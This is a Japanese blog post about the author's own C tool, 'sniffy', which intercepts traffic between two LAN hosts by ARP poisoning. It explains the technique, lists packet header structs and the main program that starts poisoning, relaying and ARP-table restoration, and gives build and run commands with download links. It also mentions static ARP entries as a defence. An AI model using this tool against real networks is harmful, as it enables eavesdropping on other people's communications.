Arp_Poisoningによるパケットスニッファ -sniffy-

今回も結構前に作ったツールですが、メモと復習のため掲載します。

今回のツールはLinux上で起動するパケットスニファです。

windowsでなら「Cain&avel」などがツールとしてあります。このツールは高性能です。

Linux用は多分なかったような気がします。

 

スニッファツールを作るときに使用した言語としては、C言語です。

作った経緯としては、Cain&avelを使っていて、自分でもこんな感じの作れるかなぁ?

って感じで作りました(Cain&avelはもっと多機能です)。実装している機能としては本当に単純で、

ただたんに、対象ホストのパケットを自分経由で通信させるだけです。

使い方敵には、リモートホストにパケットスニッファツールなどをインストールしなくても、1台のPCで監視ができるとか?

通信傍受?本当はパケット通信時のURL抜出から、あるサイトにアクセスしたら別のIPアドレス返したり、

パケットフィルタリング を実装したりしたかったのだが、そのままやらずに終わってしまいました。

 

イメージ掲載

 

スニファを作るときに使用した技術?テクニックとしては、arp poisoning(アープポイゾニング)という手法を使用しました。

これは、対象ホストにarpパケットを送信してarpテーブルを書き換えるという方法です。

arpの仕組みはとても単純で、送られてきたarp_responseパケットを何の疑いもなく信用し、自分のarpテーブルを書き換えてしまいます。

下にarpヘッダの構造体を示していますが、tcpなどに比べて項目がとても少ないことがわかると思います。

ethernetはもっと少ないです…。

下の画像は「arp -a」で表示させたarpテーブルです

 

 

 

簡単な説明として、192.168.2.1宛てのパケットはMACアドレスが00:24:a5:b9:90:19のPCに送信します。

ローカルネットワーク内において、次に送信すべき対象のMACアドレスが、ethrnetフレームに指定されています。

IPアドレスだけじゃ駄目なの?」とか、「なんでMACアドレスが必要なの?」という方は、調べてみてください(投げる)

一応簡単に説明すると、IPアドレスというのは最終的な到着先です。

MACアドレスは、次にパケットを投げる対象のマシンを示します。

 

上記のことを踏まえると、MACアドレスを書き換えることができれば、次にパケットを投げる対象のマシンを自分の好きなマシンを指定させることができます。

上記の例で、arpテーブルの192.168.2.1のMACアドレスを40:30:04:ee:f4:faに変更できれば、192.169.2.1、192.168.2.20宛てのパケットは、40:30:04:ee:f4:faをMACアドレスとするPCに送られることになります。

 

そして何度も書くように、arpテーブルのMACアドレスはarp_responseパケットを対象ホストに投げるだけで簡単に書き換えることができます

 

arpポイゾニングの防ぎ方はとても簡単です。

通信するホストのIPとMACを静的に設定するだけです。

arpテーブルはルーティングテーブルなどと同じように、動的な決定より静的なルートの方を優先するからです。(一番確実)

それか、専用の監視ツールを導入すればいいだけです

 

パケットスニッファの流れ

 

1.対象ホスト(2台)のIPアドレスを調べます

今回は家庭内のLANなので、IPアドレスは最初から知っています。

 

2.対象ホストのarpテーブルを書き換えるために、arp_responseパケットを両ホストに送信します

今回の例では対象ホストA・Bだとします。

ホストAには、ホストBのMACアドレスは自分のMACアドレスだという情報を送ります。

ホストBにも、ホストAのMACアドレスは自分のMACアドレスだという情報を送ります。

すると、両ホストが互いに通信をする時、パケットは全部自分のPCに届くことになります。

 

3.受信したパケットのMACアドレスを書き換え、正しいホストにパケットを送信する

しかし、このままでは自分にパケットが送られてくるだけで、そのパケットは止まってしまうので通信が成立しません。

なので、受信したパケットのMACアドレスを書き換えて本来送るべきだった対象のPCのMACアドレスに書き換えて送信しなおします。

ホストAから受信したパケットの送信元(source)MACアドレスを自分のMACアドレスに書き換える。

ホストBから受信したパケットも送信元(source)MACアドレスを自分のMACアドレスに書き換える。

このようにする事で、両ホストから受信したパケットは自分のPCを経由してお互いに通信することになります。

 

イメージ掲載予定.................

 

 

プログラム詳細

 

・通信時使用する各ヘッダ

 

対象ホストのip、macアドレス情報格納用

// 対象ホストのmac_addr/ip_addr情報保持
struct host_info {
u_char eth_addr[ETH_ALEN];
unsigned char ip_addr[IP_ALEN];
};

ethernetヘッダ

/* Ethernet Header */
struct ethernet_hdr {
u_char ether_dhost[ETH_ALEN];
u_char ether_shost[ETH_ALEN];
u_short ether_type;
};

ipヘッダ

/* IP Header */
struct ip_hdr {
u_char ip_vhl; /* version << 4 | header length >> 2 */
u_char ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src,ip_dst; /* source and dest address */
};
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip) (((ip)->ip_vhl) >> 4)

arpヘッダ

/* ARP Header */
struct arp_hdr
{
u_short hw_type;
u_short proto_type;
char ha_len;
char pa_len;
u_short opcode;
unsigned char source_add[ETH_ALEN];
unsigned char source_ip[IP_ALEN];
unsigned char dest_add[ETH_ALEN];
unsigned char dest_ip[IP_ALEN];
};

tcpヘッダ

/* TCP Header */
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
u_char th_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short th_win; /* window */
u_short th_sum; /* checksum */
u_short th_urp; /* urgent pointer */
};

udpヘッダ

/* UDP Header */
struct udp_hdr {
u_short uh_sport;
u_short uh_dport;
u_short uh_leng;
u_short uh_sum;
};

 

mainプログラムの詳細

 

細かい説明は省きます。

main関数の大まかな流れです。赤文字になっているところは、自作関数なので、気になる方はプログラムを見てください。

 main.c

#include "function.h"
/*
* 使い方
* ./a.out  (device)  (host_1)  (host_2)
* 終了の仕方
* 1を入力してEnterを押すと終了する
*/
int main (int argc, char **argv) {

char *host1_ip_addr,*host2_ip_addr;
char *device;
pid_t arp_pid,relay_pid;
int status;
int command;
char host1_buff[sizeof(struct host_info)];
char host2_buff[sizeof(struct host_info)];
struct host_info *host1_eth_addr = (struct host_info*)host1_buff;
struct host_info *host2_eth_addr = (struct host_info*)host2_buff;

// 引数チェック
if(argc != 4){
printf("argv Error.\n");
printf("./a.out \n");
return 0;
}

// 値設定
device = argv[1];
host1_ip_addr = argv[2];
host2_ip_addr = argv[3];

// 対象ホストのMACアドレス取得
search_mac_address(host1_ip_addr,device,host1_eth_addr);

search_mac_address(host2_ip_addr,device,host2_eth_addr);

// 取得したMACアドレス表示 (aa:bb:cc:dd:ee:ff)
// MACアドレスに対応するIP表示 (192.168.2.1)
printf("%s\n",ether_ntoa(host1_eth_addr->eth_addr));
printf("%s\n",inet_ntoa(*(struct in_addr*)&host1_eth_addr->ip_addr));
printf("%s\n",ether_ntoa(host2_eth_addr->eth_addr));
printf("%s\n",inet_ntoa(*(struct in_addr*)&host2_eth_addr->ip_addr));
// 対象ホストのarpテーブルを汚すためのarpポイゾニング用のプロセス起動
arp_pid = fork();
// fork error
if (arp_pid < 0){
printf("fork error [arp_pid]\n");
exit(1);
}
// start arp_poisoning process
if (arp_pid == 0){
printf("Start arp poisoning!!\n");
arp_poisoning(host1_eth_addr,host2_eth_addr,device);
}
// parent process (main process)
else{
// パケットリレー用プロセス起動
relay_pid = fork();
if (relay_pid == 0){
while(1){
printf("Start Packet relay..\n");
sleep(1);
packet_relay(device,host1_eth_addr,host2_eth_addr);
}
}
// parent process.
else{
// 終了コマンド入力待ち1で終了
while(1){
scanf("%d",&command);
if(command==1){
// arp_process,relay_process KILL
kill(arp_pid,SIGINT);
kill(relay_pid,SIGINT);
// 対象ホストのarpテーブルを元に戻す
arp_table_restore(device,host1_eth_addr,host2_eth_addr);
break;
}
}
}
}
printf("Exit arp_poisoning..\n");
return 0;
}

 

1.与えられた対象ホスト(2台)のIPアドレスを元に対象ホストのMACアドレスを調べます

arp_requestパケットを攻撃者PCで作成し、対象ホストに送信します。

受信したarp_responseパケットの内容を元に対象ホストのMACアドレスを保存します。

上記プログラム上のsearch_mac_address(host1_ip_addr,device,host1_eth_addr);を使用する。

host_info構造体のeth_addrに対象ホストから得たMACアドレスを保存しておきます。

 

2.自分のMACアドレスを取得し、MACアドレス情報を保持

arp_poisoning(host1_eth_addr,host2_eth_addr,device);関数の中で、

自分のMACアドレスを調べる関数、get_my_mac(device,my_mac_addr_str);を呼び出し、

MACアドレスを保存している。

 

3.arp_poisoningを行うため、対象である両ホストに向けarp_responseパケットを送信する

arpテーブルは何十秒かおきにリフレッシュされるので、攻撃者は任意の時間を設定し、常にarp_responseパケットを送信し、

arpテーブルを更新する。

arp_poisoning(host1_eth_addr,host2_eth_addr,device)関数を別のプロセスで起動し、mainプログラムと一緒に走らせる。

※ソケットのが効率がよさそうですが、プロセスを生成してしまっています。

 

4.受信したパケットの送信元MACアドレスを自分のMACアドレスに書き換えて再送信する

受信したパケットを各ヘッダ毎に構造体に割り当て、ethernetヘッダの送信元MACアドレスを2.で取得した自分のMACアドレスに書き換え、

再送信する。

packet_relay(device,host1_eth_addr,host2_eth_addr);関数を呼び出しパケットの転送処理をする

 

5.終了コマンドが入力されたらarpテーブルを元に戻す

終了コマンドが入力されたら、正しいarp_responseパケットを生成し、両ホストに送信する

この処理がないと、攻撃者がスニッファを終了したとき、両ホストのarpテーブルが間違った情報のままなので、

両ホストのパケット通信が途切れてしまう。

arp_table_restore(device,host1_eth_addr,host2_eth_addr)を実行し、arpテーブルを元に戻す。

 

 

 

ソースファイル使用時の環境設定&実行:

 

1.「libpcap」をインストールする

yum install libpcap-devel

2.gccコンパイルする時にlibpcapを指定する

gcc -o sniffy -lpcap *.c *.h

3.生成された実行ファイルに引数を与え実行する

./sniffy wlan0 192.168.2.1 192.168.2.20

※ 実行ファイル名 <デバイス> <ホスト1> <ホスト2>

※ Fedora15でコンパイル(gcc4.6,libpcap1.1.1)し、実行するとうまくいかない。Fedora13(gcc4.4,libpcap1.0.0)でコンパイル・実行はうまくできる。

 

RPMパッケージ:

 

sniffy-1.0-0.i386.rpm ←クリックしてダウンロードできます。

#rpm -i sniffy-1.0-0.i386.rpm

#sniffy <device> <host1> <host2>

 

ソースコード

 

sniffy-1.0.tar.gz  ← クリックしてダウンロードできます。

 

sniffy-1.0.tar.gzに含まれるファイル:

・fuction.h ヘッダーファイル 各パケットのヘッダなどが定義されている
・main.c メインファイル
・function.c 複数の関数が入っている
arp_poisoning.c ポイゾニング関数と終了時にMACアドレスを元に戻す関数が含まれる
・packet_replay.c ポイゾニング中の両ホストのパケットの中身を入れ替えて中継する